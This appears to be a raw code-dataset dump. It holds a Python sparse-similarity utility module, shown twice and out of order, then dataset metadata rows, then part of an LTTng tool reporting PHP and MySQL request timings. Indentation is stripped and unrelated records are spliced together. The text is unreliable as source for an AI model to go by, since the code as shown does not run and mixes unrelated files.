returns list of indexes (col index of row vector) and scores (similarity value) for each row, given a similarity matrix
'''
scores = []
idxs = []
for row in sim_matrix:
idxs.append(row.nonzero()[-1])
scores.append(row.data)
return idxs, scores
def cosine_similarity(A, B, topn = 30, remove_diagonal = False, **kwargs):
A,B = sparsify(A,B)
A = normalize(A, norm = 'l2').astype(np.float64)
B = normalize(B, norm = 'l2').astype(np.float64)
dot = awesome_cossim_topn(A, B.T, ntop = topn, **kwargs)
if remove_diagonal:
dot.setdiag(0)
dot.eliminate_zeros()
return dot
def cosine_distance(A, B, topn = 30, remove_diagonal = False, **kwargs):
#calculate sim
dist = cosine_similarity(A, B, topn, remove_diagonal, **kwargs)
#calculate distance
dist.data = 1 - dist.data
return dist
# Cell
def similarity_plot(vector, query_matrix):
'''
plots similarity plots like in https://gdmarmerola.github.io/forest-embeddings/
'''
return
# Cell
def sparsify(*arrs):
'''
makes input arrs sparse
'''
arrs = list(arrs)
for i in range(len(arrs)):
if not sparse.issparse(arrs[i]):
arrs[i] = sparse.csr_matrix(arrs[i])
return arrs
def _robust_stack(blocks, stack_method = 'stack', **kwargs):
if any(sparse.issparse(i) for i in blocks):
stacked = getattr(sparse, stack_method)(blocks, **kwargs)
else:
stacked = getattr(np, stack_method)(blocks, **kwargs)
return stacked
def hstack(blocks, **kwargs):
return _robust_stack(blocks, stack_method = 'hstack', **kwargs)
def vstack(blocks, **kwargs):
return _robust_stack(blocks, stack_method = 'vstack', **kwargs)
def stack(blocks, **kwargs):
return _robust_stack(blocks, stack_method = 'stack', **kwargs)
class RobustEncoder(BaseEstimator, TransformerMixin):
def __init__(self,):
'''
A robust one hot encoder. Always return the same amount of nonzero value sin each transformed row.
Has columns for unknown values
'''
return
def fit(self, X, y = None, **kwawrgs):
self.ordinalencoder_ = OrdinalEncoder(handle_unknown = 'use_encoded_value', unknown_value = -1).fit(X)
X = self.ordinalencoder_.transform(X)
categories = [np.arange(-1, len(cats)) for cats in self.ordinalencoder_.categories_]
self.onehotencoder_ = OneHotEncoder(categories = categories).fit(X)
return self
def transform(self, X, **kwargs):
X = self.ordinalencoder_.transform(X)
return self.onehotencoder_.transform(X)
# Cell
from warnings import warn
from inspect import getmembers, isfunction
import inspect
import numpy as np
from scipy import sparse
from sklearn.base import BaseEstimator,TransformerMixin
from sklearn.preprocessing import OneHotEncoder, OrdinalEncoder
from joblib import Parallel, delayed, parallel_backend
try:
from sparse_dot_topn import awesome_cossim_topn
except Exception as e:
warn(f'could not load sparse_dot_topn: {e}')
# Cell
#util funcs and classes
def parallel_apply(func, iterator, n_jobs = -1, backend = 'loky', **func_kwargs):
with parallel_backend(backend, n_jobs):
results = Parallel()(delayed(func)(i, **func_kwargs) for i in iterator)
return results
def get_default_args(func):
'''THANKS TO mgilson at https://stackoverflow.com/questions/12627118/get-a-function-arguments-default-value'''
signature = inspect.signature(func)
return {
k: v.default
for k, v in signature.parameters.items()
if v.default is not inspect.Parameter.empty
}
def inherit_docstrings(cls):
'''
thanks to Martijn Pieters♦ at https://stackoverflow.com/questions/17393176/python-3-method-docstring-inheritance-without-breaking-decorators-or-violating
'''
for name, func in getmembers(cls, isfunction):
if func.__doc__: continue
for parent in cls.__mro__[1:]:
if hasattr(parent, name):
func.__doc__ = getattr(parent, name).__doc__
return cls
# Cell
#TODO: implement minkowski distance with sparse_dot_topn
#TODO: implement RBF distance
#export
def make_batches(arr, batch_size = 100):
'''make batches for batch query'''
#lst = [i for i in arr]
if arr.shape[0] < batch_size:
batches = [arr]
else:
n_bs = arr.shape[0] // batch_size
last_batch = arr.shape[0] - batch_size * n_bs
batches = []
i = 0
for i in range(n_bs):
yield arr[i * batch_size:(i + 1) * batch_size]
if last_batch:
yield arr[(i + 1) * batch_size:]
def sim_matrix_to_idx_and_score(sim_matrix):
'''
returns list of indexes (col index of row vector) and scores (similarity value) for each row, given a similarity matrix
'''
scores = []
idxs = []
for row in sim_matrix:
idxs.append(row.nonzero()[-1])
scores.append(row.data)
return idxs, scores
def cosine_similarity(A, B, topn = 30, remove_diagonal = False, **kwargs):
A,B = sparsify(A,B)
A = normalize(A, norm = 'l2').astype(np.float64)
B = normalize(B, norm = 'l2').astype(np.float64)
dot = awesome_cossim_topn(A, B.T, ntop = topn, **kwargs)
if remove_diagonal:
dot.setdiag(0)
dot.eliminate_zeros()
return dot
def cosine_distance(A, B, topn = 30, remove_diagonal = False, **kwargs):
#calculate sim
dist = cosine_similarity(A, B, topn, remove_diagonal, **kwargs)
#calculate distance
dist.data = 1 - dist.data
return dist
# Cell
def similarity_plot(vector, query_matrix):
'''
plots similarity plots like in https://gdmarmerola.github.io/forest-embeddings/
'''
return
# Cell
def sparsify(*arrs):
'''
makes input arrs sparse
'''
arrs = list(arrs)
for i in range(len(arrs)):
if not sparse.issparse(arrs[i]):
arrs[i] = sparse.csr_matrix(arrs[i])
return arrs
def _robust_stack(blocks, stack_method = 'stack', **kwargs):
if any(sparse.issparse(i) for i in blocks):
stacked = getattr(sparse, stack_method)(blocks, **kwargs)
else:
stacked = getattr(np, stack_method)(blocks, **kwargs)
return stacked
def hstack(blocks, **kwargs):
return _robust_stack(blocks, stack_method = 'hstack', **kwargs)
def vstack(blocks, **kwargs):
return _robust_stack(blocks, stack_method = 'vstack', **kwargs)
def stack(blocks, **kwargs):
return _robust_stack(blocks, stack_method = 'stack', **kwargs)
class RobustEncoder(BaseEstimator, TransformerMixin):
def __init__(self,):
'''
A robust one hot encoder. Always return the same amount of nonzero value sin each transformed row.
Has columns for unknown values
'''
return
def fit(self, X, y = None, **kwawrgs):
self.ordinalencoder_ = OrdinalEncoder(handle_unknown = 'use_encoded_value', unknown_value = -1).fit(X)
X = self.ordinalencoder_.transform(X)
categories = [np.arange(-1, len(cats)) for cats in self.ordinalencoder_.categories_]
self.onehotencoder_ = OneHotEncoder(categories = categories).fit(X)
return self
def transform(self, X, **kwargs):
X = self.ordinalencoder_.transform(X)
return self.onehotencoder_.transform(X)
| 30.192192
| 157
| 0.667893
| 1,310
| 10,054
| 4.957252
| 0.172519
| 0.019403
| 0.009239
| 0.027102
| 0.987373
| 0.987373
| 0.987373
| 0.987373
| 0.987373
| 0.987373
| 0
| 0.010948
| 0.218719
| 10,054
| 333
| 158
| 30.192192
| 0.815532
| 0.175055
| 0
| 0.953368
| 1
| 0
| 0.062965
| 0.006693
| 0
| 0
| 0
| 0.006006
| 0
| 1
| 0.165803
| false
| 0
| 0.093264
| 0.031088
| 0.42487
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
83affa2a55a43da036a7efed08b56a5b8a7f6cd0
| 56,140
|
py
|
Python
|
lttnganalyses/cli/phptop.py
|
naser/lttnganalysis-lamp
|
a13fbaade08a6aaa43129f5066f88a659bafdba5
|
[
"MIT"
] | null | null | null |
lttnganalyses/cli/phptop.py
|
naser/lttnganalysis-lamp
|
a13fbaade08a6aaa43129f5066f88a659bafdba5
|
[
"MIT"
] | null | null | null |
lttnganalyses/cli/phptop.py
|
naser/lttnganalysis-lamp
|
a13fbaade08a6aaa43129f5066f88a659bafdba5
|
[
"MIT"
] | null | null | null |
# The MIT License (MIT)
#
# Copyright (C) 2015 - Julien Desfossez <jdesfossez@efficios.com>
# 2015 - Antoine Busque <abusque@efficios.com>
# 2015 - Philippe Proulx <pproulx@efficios.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import errno
import operator
import statistics
import os
from . import mi
from ..core import phptop
from .command import Command
from . import termgraph
from ..common import format_utils
class LAMPAnalysis(Command):
_DESC = """The phptop command."""
_ANALYSIS_CLASS = phptop.PHPAnalysis
_MI_TITLE = 'Php requests statistics'
_MI_DESCRIPTION = 'PHP requests statistics'
_MI_TAGS = [mi.Tags.PHP, mi.Tags.MYSQL]
_MI_TABLE_CLASS_PER_TID_STATS = 'per tid'
_MI_TABLE_CLASS_TOTAL = 'total'
_MI_TABLE_CLASS_TOTAL_APACHE = 'total apache'
_MI_TABLE_CLASS_TOTAL_LOG = 'log apache'
_MI_TABLE_CLASS_PER_QUERY_STATS = 'per-query'
_MI_TABLE_CLASS_FUNCTION_LOG = 'per function log'
_MI_TABLE_CLASSES = [
(
_MI_TABLE_CLASS_PER_TID_STATS,
'Mysql Query statistics', [
('function', 'PhpFunction', mi.String),
('filename', 'Filename', mi.String),
('lineno', 'Line No', mi.Number),
('count', 'Call count', mi.Number, 'calls'),
('min_duration', 'Minimum call duration', mi.Duration),
('avg_duration', 'Average call duration', mi.Duration),
('max_duration', 'Maximum call duration', mi.Duration),
('stdev_duration', 'Call duration standard deviation', mi.Duration),
('avg_duration_long', 'Duration long', mi.Number),
]
),
(
_MI_TABLE_CLASS_TOTAL,
'PHP requests statistics', [
('tid', 'Request ID', mi.Number),
('duration', 'Duration', mi.Duration, 'usec'),
('sqlduration', 'DB Execution Duration', mi.Duration, 'usec'),
('sqlthreadid', 'DB Connection IDs', mi.Number),
('sqlquerycount', 'DB Query Count', mi.Number),
('uri', 'Uri', mi.String),
('path', 'File Path', mi.String),
('method', 'Method', mi.String),
('durationlong', 'Duration long', mi.Number),
('begin_ts', 'Starting timestamp', mi.Number),
('end_ts', 'Ending timestamp', mi.Number),
]
),
(
_MI_TABLE_CLASS_TOTAL_APACHE,
'Apache requests statistics', [
('tid', 'Request ID', mi.Number),
('duration', 'Duration', mi.Duration, 'usec'),
('phpduration', 'PHP Execution Duration', mi.Duration, 'usec'),
('sqlduration', 'DB Execution Duration', mi.Duration, 'usec'),
('sqlthreadid', 'DB Connection IDs', mi.Number),
('sqlquerycount', 'DB Query Count', mi.Number),
('uri', 'Uri', mi.String),
('path', 'File Path', mi.String),
('method', 'Method', mi.String),
('durationlong', 'Duration long', mi.Number),
('begin_ts', 'Starting timestamp', mi.Number),
('end_ts', 'Ending timestamp', mi.Number),
]
),
(
_MI_TABLE_CLASS_TOTAL_LOG,
'I/O operations log', [
('begin_ts', 'Starting timestamp', mi.Number),
('end_ts', 'Ending timestamp', mi.Number),
('method', 'System call', mi.Syscall),
('uri', 'Uri', mi.String),
('path', 'File Path', mi.String),
('duration', 'Call duration', mi.Duration),
('phpduration', 'PHP Execution Duration', mi.Duration, 'usec'),
('sqlduration', 'DB Execution Duration', mi.Duration, 'usec'),
]
),
(
_MI_TABLE_CLASS_PER_QUERY_STATS,
'Mysql Query statistics', [
('query', 'Query', mi.String),
('duration', 'Duration', mi.Duration, 'usec'),
('tid', 'Connection ID', mi.Number),
('db', 'Database', mi.String),
('table', 'Table', mi.String),
('user', 'User', mi.String),
('ret', 'return value', mi.String),
('durationlong', 'duration long', mi.Number),
('begin_ts', 'starting timestamp', mi.Number)
]
),
(
_MI_TABLE_CLASS_FUNCTION_LOG,
'PHP function log', [
('function', 'Function Name', mi.String),
('filename', 'Filename', mi.String),
('classname', 'Classname', mi.String),
('lineno', 'Lineno', mi.Number),
('duration', 'Function duration', mi.Duration),
('begin_ts', 'Starting timestamp', mi.Number),
('end_ts', 'Ending timestamp', mi.Number),
('id', 'Thread ID', mi.Number),
('indent', 'Indent', mi.Number),
('begin_tslong', 'begin_ts long', mi.Number),
]
),
]
def _analysis_tick(self, period_data, end_ns):
if period_data is None:
return
begin_ns = period_data.period.begin_evt.timestamp
php_top_requests__table = self._get_top_php_requessts(period_data, begin_ns, end_ns)
php_all_requests__table = self._get_all_php_requessts(period_data, begin_ns, end_ns)
php_per_tid_functions_tables = self._get_functioncalls_per_request(period_data, begin_ns, end_ns)
#total_requests_table, per_tid_functions_tables = self. _get_functioncalls_per_tid_tables(period_data, begin_ns, end_ns)
if self._mi_mode:
self._mi_append_result_table(php_top_requests__table)
self._mi_append_result_table(php_all_requests__table)
#self._mi_append_result_table(total_requests_table)
self._mi_append_result_tables(php_per_tid_functions_tables)
else:
self._print_date(begin_ns, end_ns)
self._print_php_top(php_top_requests__table)
self._print_php_log(php_all_requests__table)
self._print_phpfunctions_log(php_all_requests__table, php_per_tid_functions_tables)
# self._print_phpfunctions_top(total_requests_table, per_tid_functions_tables)
#self._print_phprequests_summary(php_total_requests__table)
def _post_analysis(self):
if not self._mi_mode:
return
#if len(self._mi_get_querytypes_per_tid_tables(self._MI_TABLE_CLASS_TOTAL)) > 1:
# self._create_summary_result_table()
self._mi_print()
def _get_top_php_requessts(self, period_data, begin_ns, end_ns):
per_tid_tables = []
total_table = self._mi_create_result_table(self._MI_TABLE_CLASS_TOTAL,
begin_ns, end_ns)
requestsarray = []
for tidrequests in period_data.requests.values():
#for tidrequests in sorted(period_data.requests.values(),
# key=operator.attrgetter('begin_ts'),
# reverse=False):
if tidrequests.total_requests == 0:
continue
for req in tidrequests.requests:
requestsarray.append(req)
count = 0
#for tidrequests in period_data.requests.values():
for req in sorted(requestsarray,
key=operator.attrgetter('duration'),
reverse=True):
#if (req.mysql_threadid is None) or len(req.mysql_threadid <= 0):
mysql_threadid = 'N/A'
if req.mysql_threadid is not None:
mysql_threadid = ",".join(map(str, req.mysql_threadid))
total_table.append_row(
tid=mi.Number(req.id),
duration=mi.Duration(req.duration),
sqlduration=mi.Duration(req.mysql_duration),
sqlthreadid=mi.String(mysql_threadid),
sqlquerycount=mi.String(req.mysql_query_count),
uri=mi.String(req.uri),
path=mi.String(req.path),
method=mi.String(req.method),
durationlong=mi.Number(req.duration),
begin_ts=mi.Number(req.begin_ts),
end_ts = mi.Number(req.end_ts)
)
count += 1
if self._args.limit > 0 and count >= self._args.limit:
break
return total_table
def _get_all_php_requessts(self, period_data, begin_ns, end_ns):
per_tid_tables = []
total_table = self._mi_create_result_table(self._MI_TABLE_CLASS_TOTAL,
begin_ns, end_ns)
requestsarray = []
for tidrequests in period_data.requests.values():
#for tidrequests in sorted(period_data.requests.values(),
# key=operator.attrgetter('begin_ts'),
# reverse=False):
if tidrequests.total_requests == 0:
continue
for req in tidrequests.requests:
requestsarray.append(req)
count = 0
for req in sorted(requestsarray,
key=operator.attrgetter('begin_ts'),
reverse=False):
#if (req.mysql_threadid is None) or len(req.mysql_threadid <= 0):
mysql_threadid = 'N/A'
if req.mysql_threadid is not None:
mysql_threadid = ",".join(map(str, req.mysql_threadid))
total_table.append_row(
tid=mi.Number(req.id),
duration=mi.Duration(req.duration),
sqlduration=mi.Duration(req.mysql_duration),
sqlthreadid=mi.String(mysql_threadid),
sqlquerycount=mi.String(req.mysql_query_count),
uri=mi.String(req.uri),
path=mi.String(req.path),
method=mi.String(req.method),
durationlong=mi.Number(req.duration),
begin_ts=mi.Number(req.begin_ts),
end_ts = mi.Number(req.end_ts)
)
count += 1
#if self._args.limit > 0 and count >= self._args.limit:
# break
return total_table
def _get_functioncalls_per_tid_tables(self, period_data, begin_ns, end_ns):
per_tid_tables = []
total_table = self._mi_create_result_table(self._MI_TABLE_CLASS_TOTAL,
begin_ns, end_ns)
# for proc_stats in sorted(self._analysis.phpfunctions.values(),
# key=operator.attrgetter('begin_ts'),
# reverse=False):
for proc_stats in period_data.phpfunctions.values():
if proc_stats.total_functions == 0:
continue
if proc_stats.tid not in period_data.requests:
continue
tidrequests = period_data.requests[proc_stats.tid]
if tidrequests is None or tidrequests.total_requests == 0:
continue
subtitle = '%d' % (proc_stats.tid)
result_table = \
self._mi_create_result_table(
self._MI_TABLE_CLASS_FUNCTION_LOG, begin_ns, end_ns,
subtitle)
# for singlefunction in sorted(proc_stats.functions.values(),
# key=operator.attrgetter('count'),
# reverse=True):
for singlefunction in proc_stats.functions.values():
durations = []
return_count = {}
# for function in sorted(singlefunction.call_list,
# key=operator.attrgetter('begin_ts'),
# reverse=True):
for function in singlefunction.call_list:
result_table.append_row(
##FIXME: change this part and add only the required fields like id, class name, begin_ts,
#function=mi.PhpFunction(function.name),
function=mi.String(function.name),
filename=mi.String(function.filename),
classname=mi.String(function.classname),
lineno=mi.Number(function.lineno),
duration=mi.Duration(function.duration),
begin_ts=mi.Duration(function.begin_ts),
end_ts=mi.Duration(function.end_ts),
id=mi.Number(function.id),
indent=mi.Number(function.indent),
begin_tslong=mi.Number(function.begin_ts)
)
per_tid_tables.append(result_table)
if tidrequests.total_requests > 1: # when there is more than one request in tid
for req in tidrequests.requests:
if req.begin_ts.value >= begin_ns and req.end_ts.value <= end_ns:
request = req # fixme
break
else:
request = tidrequests.requests[0]
if request is None:
continue
# request = tidrequests.requests[0]
mysql_threadid = 'N/A'
if request.mysql_threadid is not None:
mysql_threadid = ",".join(map(str, request.mysql_threadid))
total_table.append_row(
tid=mi.Number(request.id),
duration=mi.Duration(request.duration),
sqlduration=mi.Duration(request.mysql_duration),
sqlthreadid=mi.String(mysql_threadid),
sqlquerycount=mi.String(request.mysql_query_count),
uri=mi.String(request.uri),
path=mi.String(request.path),
method=mi.String(request.method),
durationlong=mi.Number(request.duration),
begin_ts=mi.Number(request.begin_ts),
end_ts=mi.Number(request.end_ts)
)
return total_table, per_tid_tables
def _get_functioncalls_per_tid_tables_orig(self, period_data, begin_ns, end_ns):
per_tid_tables = []
total_table = self._mi_create_result_table(self._MI_TABLE_CLASS_TOTAL,
begin_ns, end_ns)
#for proc_stats in sorted(self._analysis.phpfunctions.values(),
# key=operator.attrgetter('begin_ts'),
# reverse=False):
for proc_stats in period_data.phpfunctions.values():
if proc_stats.total_functions == 0:
continue
if proc_stats.tid not in period_data.requests:
continue
tidrequests = period_data.requests[proc_stats.tid]
if tidrequests is None or tidrequests.total_requests == 0:
continue
subtitle = '%d' % (proc_stats.tid)
result_table = \
self._mi_create_result_table(
self._MI_TABLE_CLASS_FUNCTION_LOG, begin_ns, end_ns,
subtitle)
#for singlefunction in sorted(proc_stats.functions.values(),
# key=operator.attrgetter('count'),
# reverse=True):
for singlefunction in proc_stats.functions.values():
durations = []
return_count = {}
#for function in sorted(singlefunction.call_list,
# key=operator.attrgetter('begin_ts'),
# reverse=True):
for function in singlefunction.call_list:
result_table.append_row(
##FIXME: change this part and add only the required fields like id, class name, begin_ts,
function=mi.PhpFunction(function.name),
filename=mi.String(function.filename),
classname=mi.String(function.classname),
lineno=mi.Number(function.lineno),
duration=mi.Duration(function.duration),
begin_ts = mi.Duration(function.begin_ts),
end_ts=mi.Duration(function.end_ts),
id = mi.Number(function.id),
indent=mi.Number(function.indent),
begin_tslong = mi.Number(function.begin_ts)
)
per_tid_tables.append(result_table)
if tidrequests.total_requests > 1: #when there is more than one request in tid
for req in tidrequests.requests:
if req.begin_ts.value >= begin_ns and req.end_ts.value <= end_ns:
request = req #fixme
break
else:
request = tidrequests.requests[0]
if request is None:
continue
#request = tidrequests.requests[0]
mysql_threadid = 'N/A'
if request.mysql_threadid is not None:
mysql_threadid = ",".join(map(str, request.mysql_threadid))
total_table.append_row(
tid=mi.Number(request.id),
duration=mi.Duration(request.duration),
sqlduration=mi.Duration(request.mysql_duration),
sqlthreadid=mi.String(mysql_threadid),
sqlquerycount=mi.String(request.mysql_query_count),
uri=mi.String(request.uri),
path=mi.String(request.path),
method=mi.String(request.method),
durationlong=mi.Number(request.duration),
begin_ts=mi.Number(request.begin_ts),
end_ts=mi.Number(request.end_ts)
)
return total_table, per_tid_tables
def _get_functioncalls_per_request(self, period_data, begin_ns, end_ns):
per_tid_tables = []
total_table = self._mi_create_result_table(self._MI_TABLE_CLASS_TOTAL,
begin_ns, end_ns)
for proc_stats in period_data.phpfunctions.values():
if proc_stats.total_functions == 0:
continue
if proc_stats.tid not in period_data.requests:
continue
tidrequests = period_data.requests[proc_stats.tid]
if tidrequests is None or tidrequests.total_requests == 0:
continue
subtitle = '%d' % (proc_stats.tid)
result_table = \
self._mi_create_result_table(
self._MI_TABLE_CLASS_FUNCTION_LOG, begin_ns, end_ns,
subtitle)
for singlefunction in proc_stats.functions.values():
for function in singlefunction.call_list:
result_table.append_row(
##FIXME: change this part and add only the required fields like id, class name, begin_ts,
#function=mi.PhpFunction(function.name),
function=mi.String(function.name),
filename=mi.String(function.filename),
classname=mi.String(function.classname),
lineno=mi.Number(function.lineno),
duration=mi.Duration(function.duration),
begin_ts = mi.Duration(function.begin_ts),
end_ts=mi.Duration(function.end_ts),
id = mi.Number(function.id),
indent=mi.Number(function.indent),
begin_tslong = mi.Number(function.begin_ts)
)
per_tid_tables.append(result_table)
return per_tid_tables
def _get_querytypes_per_tid_tables(self, period_data, begin_ns, end_ns):
per_tid_tables = []
total_table = self._mi_create_result_table(self._MI_TABLE_CLASS_TOTAL,
begin_ns, end_ns)
for proc_stats in sorted(period_data.phpfunctions.values(),
key=operator.attrgetter('begin_ts'),
reverse=False):
if proc_stats.total_functions == 0:
continue
if proc_stats.tid not in period_data.requests:
continue
tidrequests = period_data.requests[proc_stats.tid]
if tidrequests is None or tidrequests.total_requests == 0:
continue
subtitle = '%d' % (proc_stats.tid)
result_table = \
self._mi_create_result_table(
self._MI_TABLE_CLASS_PER_TID_STATS, begin_ns, end_ns,
subtitle)
for function in sorted(proc_stats.functions.values(),
key=operator.attrgetter('count'),
reverse=True):
durations = []
return_count = {}
result_table.append_row(
#function=mi.PhpFunction(function.method),
function=mi.String(function.method),
filename=mi.String(function.filename),
lineno=mi.Number(function.lineno),
count=mi.Number(function.count),
min_duration=mi.Duration(function.min_duration),
avg_duration=mi.Duration(function.total_duration /
function.count),
max_duration=mi.Duration(function.max_duration),
# stdev_duration=stdev,
stdev_duration = 0, # FIXME
avg_duration_long = mi.Number(function.total_duration /
function.count)
)
per_tid_tables.append(result_table)
if tidrequests.total_requests > 1: # when there is more than one request in tid
for req in tidrequests.requests:
if req.begin_ts >= begin_ns and req.end_ts <= end_ns:
request = req # fixme
break
else:
request = tidrequests.requests[0]
if request is None:
continue
# request = tidrequests.requests[0]
mysql_threadid = 'N/A'
if request.mysql_threadid is not None:
mysql_threadid = ",".join(map(str, request.mysql_threadid))
total_table.append_row(
tid=mi.Number(request.id),
duration=mi.Duration(request.duration),
sqlduration=mi.Duration(request.mysql_duration),
sqlthreadid=mi.String(mysql_threadid),
sqlquerycount=mi.String(request.mysql_query_count),
uri=mi.String(request.uri),
path=mi.String(request.path),
method=mi.String(request.method),
durationlong=mi.Number(request.duration),
begin_ts=mi.Number(request.begin_ts),
end_ts=mi.Number(request.end_ts)
)
# total_table.append_row(
# phpfunctions=mi.Phpfunctions(name = proc_stats.funcname, tid = proc_stats.tid, file = proc_stats.file),
# count=mi.Number(proc_stats.total_functions),
# )
return total_table, per_tid_tables
def _print_phprequests_summary(self, total_table):
line_format = '{:<10} {:<10} {}'
print('PHP requests logs:')
total_requests = 0
for row in sorted(total_table.rows,
key=operator.attrgetter('begin_ts'),
reverse=False):
tid = row.tid.value
duration = row.duration.to_us()
sqlduration = row.duration.to_us()
method = row.method.value
uri = row.uri.value
path = row.path.value
mysql_threadid = row.sqlthreadid.value
row_format = ' {:<25} {:<6} {:<6} {:<25} {:<45} {:<10} {:<6} {:<40}'
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
label_header = row_format.format('(% Spent in mysql)', 'TID', 'Method', 'URI', 'PATH', 'SQL TID(s)','Query Count', 'Time Range')
def format_label(row):
return row_format.format(
# row.duration.to_us(),
# row.user.value,
# '%.4f (%.2f %)'% (str(row.sqlduration.to_us()) + '('+ str((row.sqlduration.to_us()*100)/row.duration.to_us()) + '%)',
'(mysql: %0.02f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
# row.sqlduration.to_us(),
row.tid.value,
row.method.value,
row.uri.value,
row.path.value,
row.sqlthreadid.value,
row.sqlquerycount.value,
format_utils.format_time_range(
row.begin_ts,
row.end_ts
)
)
total_requests += 1
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
graph = termgraph.BarGraph(
title='Duration (us)',
get_value=lambda row: row.duration.to_us(),
get_label=format_label,
label_header=label_header,
data=sorted(total_table.rows,
key=operator.attrgetter('begin_ts'),
reverse=False)
)
graph.print_graph()
print(line_format.format('Total:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_phpfunctions_top_orig(self, total_table, php_functions_table):
line_format = '{:<10} {:<10} {}'
print('Php-Mysql Top:')
limit = self._args.limit
total_requests = 0
row_format = '{:<8} {:<45} {:<15} {:<20} {:<8} {:<15} {:<10} {} '
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
label_header = row_format.format('Method', 'URI', 'Response Time (us)', '(% Spent in mysql)', 'TID', 'SQL TID(s)','Query Count', 'Time Range')
print(label_header)
# for row in total_table.rows:
for row in sorted(total_table.rows,
key=operator.attrgetter('durationlong'),
reverse=True):
uri = 'N/A'
if row.path is None or row.path == '(null)':
uri = row.uri.value
else:
uri = '%s?%s'%(row.uri.value, row.path.value)
print(row_format.format(
row.method.value,
'%s' % (uri),
#row.path.value,
'%0.03f' % (row.duration.to_us()),
'(mysql: %0.03f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
row.tid.value,
row.sqlthreadid.value,
row.sqlquerycount.value,
format_utils.format_time_range(
row.begin_ts,
row.end_ts
)
))
function_format = '{:<7} {:<38} {:>14} {:<14} {:<14} {:<14} {:<12} {:<44}'
total_queries = 0
for table in php_functions_table:
if not table.subtitle == str(row.tid.value):
continue
for subrow in sorted(table.rows,
key=operator.attrgetter('avg_duration_long'),
reverse=True):
if subrow is None:
continue
#if subrow.tid.value not in row.tid.value:
# continue
if total_queries == 0: #first row? so print an empty line
print(function_format.format('',
' ', '', '', '', '', '', ''))
print(function_format.format(' ',
'Function', 'Called', 'Min Duration', 'Average Duration', 'Max Duration',
'Stdev', 'Location (file:lineno)'))
print(function_format.format(
'', # indent!
subrow.function.name,
subrow.count.value,
round(subrow.min_duration.to_us(), 3),
round(subrow.avg_duration.to_us(), 3),
round(subrow.max_duration.to_us(), 3),
subrow.stdev_duration,
'%s:%d'%(subrow.filename.value, subrow.lineno.value),
))
total_queries += 1
if limit is not None and total_queries >= limit:
break
if total_queries > 0:
print(function_format.format('',
' ', '', '', '', '', '', ''))
total_requests += 1
if limit is not None and total_requests >= limit:
break
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
print(line_format.format('Total:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_phpfunctions_top(self, total_table, php_functions_table):
line_format = '{:<10} {:<10} {}'
print('Php-Mysql Top:')
limit = self._args.limit
total_requests = 0
row_format = '{:<8} {:<45} {:<15} {:<20} {:<8} {:<15} {:<10} {} '
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
label_header = row_format.format('Method', 'URI', 'Response Time (us)', '(% Spent in mysql)', 'TID',
'SQL TID(s)', 'Query Count', 'Time Range')
print(label_header)
for row in total_table.rows:
#for row in sorted(total_table.rows,
# key=operator.attrgetter('durationlong'),
# reverse=True):
uri = 'N/A'
if row.path is None or row.path == '(null)':
uri = row.uri.value
else:
uri = '%s?%s' % (row.uri.value, row.path.value)
print(row_format.format(
row.method.value,
'%s' % (uri),
# row.path.value,
'%0.03f' % (row.duration.to_us()),
'(mysql: %0.03f %%)' % ((row.sqlduration.to_us() * 100) / row.duration.to_us()),
row.tid.value,
row.sqlthreadid.value,
row.sqlquerycount.value,
format_utils.format_time_range(
row.begin_ts.value,
row.end_ts.value
)
))
function_format = '{:<7} {:<38} {:>14} {:<14} {:<14} {:<14} {:<12} {:<44}'
total_queries = 0
for table in php_functions_table:
if not table.subtitle == str(row.tid.value):
continue
for subrow in sorted(table.rows,
key=operator.attrgetter('avg_duration_long'),
reverse=True):
if subrow is None:
continue
# if subrow.tid.value not in row.tid.value:
# continue
if total_queries == 0: # first row? so print an empty line
print(function_format.format('',
' ', '', '', '', '', '', ''))
print(function_format.format(' ',
'Function', 'Called', 'Min Duration', 'Average Duration',
'Max Duration',
'Stdev', 'Location (file:lineno)'))
print(function_format.format(
'', # indent!
subrow.function.name,
subrow.count.value,
round(subrow.min_duration.to_us(), 3),
round(subrow.avg_duration.to_us(), 3),
round(subrow.max_duration.to_us(), 3),
subrow.stdev_duration,
'%s:%d' % (subrow.filename.value, subrow.lineno.value),
))
total_queries += 1
if limit is not None and total_queries >= limit:
break
if total_queries > 0:
print(function_format.format('',
' ', '', '', '', '', '', ''))
total_requests += 1
if limit is not None and total_requests >= limit:
break
if total_requests <= 0:
print('No PHP request!')
print('-' * 113)
return
print(line_format.format('Total:', total_requests,
'', '', '', '', ''))
print('-' * 113)
def _print_phpfunctions_log_orig(self, total_table, php_functions_table):
line_format = '{:<10} {:<10} {}'
print('Php function logs:')
limit = self._args.limit
total_requests = 0
row_format = '{:<8} {:<45} {:<15} {:<20} {:<8} {:<15} {:<10} {} '
# row_format = ' {:<10} {:>10} {:>10} {:>10} {:<10}'
